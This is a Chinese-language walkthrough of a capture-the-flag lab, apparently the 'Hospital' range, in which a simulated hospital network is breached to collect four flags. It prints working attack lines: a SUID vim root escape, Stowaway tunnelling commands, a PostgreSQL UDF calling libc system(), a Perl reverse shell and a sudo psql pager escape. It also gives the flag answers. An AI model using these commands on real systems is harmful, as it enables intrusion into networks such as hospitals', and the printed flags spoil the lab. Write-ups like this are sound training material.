前言 在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个flag,分布于不同的靶机。
网段
IP地址
说明
互联网侧
39.99.227.180
heapdump文件泄露+shiro反序列化
172.30.12.0/24
172.30.12.5
入口机
172.30.12.0/24
172.30.12.6
Nacos yaml反序列化
双网卡主机
172.30.12.236
Fastjson反序列化
172.30.54.0/24
172.30.54.179
Grafana任意文件读取
稍微对这个图解释一下方便理解:1. 先获取互联网可达的目标主机(39.99.227.180)的shell;2. 在公网服务器(39.107.82.184)和主机1之间建立Stowaway隧道;3. 通过主机1的6666端口代理访问DMZ区域的其他主机;4. 主机3通过隧道连接回主机1,建立第二级代理节点;5.通过主机3的代理(7777端口)访问内网区域的主机;6. 最终实现从攻击者主机到内网资源的双重代理访问。
39.99.227.180 一眼shiro
尝试用工具破解链子不行,然后想起fscan中有heapdump
直接打个内存马连接上就行
1 find / -perm -4000 -type f 2 >/dev/ null
1 /usr/bin/vim.basic -c ':python3 import os ; os .execl("/bin/bash" , "bash" , "-pc" , "reset; exec bash -p" )' &
1 flag01: flag{8016408b-8efd-48b7 -b6e5-dc1b50dcdfa4}
1 ./linux_x64_admin -l 1234 -s 123
1 ./linux_x64_agent - c 39.107 .82.184 : 1234 - s 123 &
1 flag02 : flag{ee5dac3e-4 eac-4 d9a-8 bff-d3f712b6b959}
可以用通杀的payload打,打了半天没成功,想起是不出网的,可以把JNDI攻击放在01,我这里太麻烦了,就直接用插件了
1 flag03 : flag{a87370ce-cd37-4 f5b-bc30-1 b9e805582c1}
1 CREATE OR REPLACE FUNCTION system (cstring ) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6' , 'system' LANGUAGE 'c' STRICT ;
1 select system('perl -e \'use Socket;$i ="172.30.54.179" ;$p =1234 ;socket (S,PF_INET,SOCK_STREAM,getprotobyname("tcp" ));if (connect(S,sockaddr_in($p ,inet_aton($i )))){open (STDIN,">&S" );open (STDOUT,">&S" );open (STDERR,">&S" );exec ("/bin/sh -i" );};\'');
1 python3 -c 'import pty;pty.spawn("/bin/bash" )'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 postgres@web04 :/usr/local/pgsql/data $ sudo /usr/local/postgresql/bin/psql sudo /usr/local/postgresql/bin/psqlPassword : 123456 Welcome to psql 8.1 .0 , the Postgre SQL interactive terminal.Type : \copyright for distribution terms \h for help with SQL commands \? for help with psql commands \g or terminate with semicolon to execute query \q to quit root=Input /Output --More --!/bin/bash root@web04 :/usr/local/pgsql/data root
1 flag04 : flag{a90adb0f-7 d19-4 f9f-be3d-0 a8207ec0dc0}
https://5ime.cn/yunjing-hospital.html
https://5ime.cn/msa-intranet-penetration.html#%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2-1
https://fushuling.com/index.php/2023/09/21/%e5%86%85%e7%bd%91%e4%bb%a3%e7%90%86%e6%90%ad%e5%bb%ba/
https://fushuling.com/index.php/2024/01/06/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-hospital/
https://mp.weixin.qq.com/s/Fo2bWRnLj9F_IgFNnt3nRA